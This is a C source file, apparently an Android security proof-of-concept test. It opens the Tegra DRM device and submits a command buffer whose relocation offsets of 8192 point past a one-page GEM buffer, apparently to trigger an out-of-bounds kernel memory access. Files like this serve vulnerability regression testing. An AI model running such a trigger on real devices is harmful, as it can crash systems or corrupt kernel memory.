1 /*
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #define _GNU_SOURCE
17 #include <unistd.h>
18 #include <stdio.h>
19 #include <errno.h>
20 #include <fcntl.h>
21 #include <sys/ioctl.h>
22
23 #include "local_poc.h"
24
25 #define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
26 #define ERR(fmt, ...) printf(fmt " %d %s\n", ##__VA_ARGS__, errno, strerror(errno))
27
28 #define DEV "/dev/dri/renderD129"
29 #define CMD_NUM 1
30
31 int dev_fd;
32
33 volatile struct drm_tegra_open_channel open_c;
34 volatile struct drm_tegra_submit submit_c;
35 volatile struct drm_tegra_gem_create gem_create;
36
37 struct drm_tegra_cmdbuf cmdbufs[CMD_NUM];
38 struct drm_tegra_syncpt syncpt;
39 struct drm_tegra_reloc relocs[CMD_NUM];
40
prepare()41 static int prepare()
42 {
43 open_c.client = HOST1X_CLASS_VIC;
44 submit_c.num_syncpts = 1;
45 submit_c.syncpts = (__u64)&syncpt;
46 submit_c.num_cmdbufs = CMD_NUM;
47 submit_c.cmdbufs = (__u64)cmdbufs;
48 submit_c.num_relocs = CMD_NUM;
49 submit_c.relocs = (__u64)relocs;
50 gem_create.size = PAGE_SIZE;
51 return 0;
52 }
53
main()54 int main()
55 {
56 int ret;
57 int i;
58
59 dev_fd = open(DEV,O_RDONLY);
60 if(dev_fd == -1){
61 return 0;
62 }
63
64 prepare();
65
66 ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
67 if(ret == -1){
68 goto out_dev;
69 }
70
71 submit_c.context = open_c.context;
72
73 ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_GEM_CREATE, &gem_create);
74 if(ret == 0){
75 for(i = 0; i < CMD_NUM; i++){
76 cmdbufs[i].words = 0;
77 cmdbufs[i].offset = 0;
78 cmdbufs[i].handle = gem_create.handle;
79 relocs[i].cmdbuf.handle = gem_create.handle;
80 relocs[i].cmdbuf.offset = 8192;
81 relocs[i].target.handle = gem_create.handle;
82 relocs[i].target.offset = 8192;
83 }
84 ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
85 }else{
86 }
87
88 out_dev:
89 close(dev_fd);
90 return 0;
91 }
92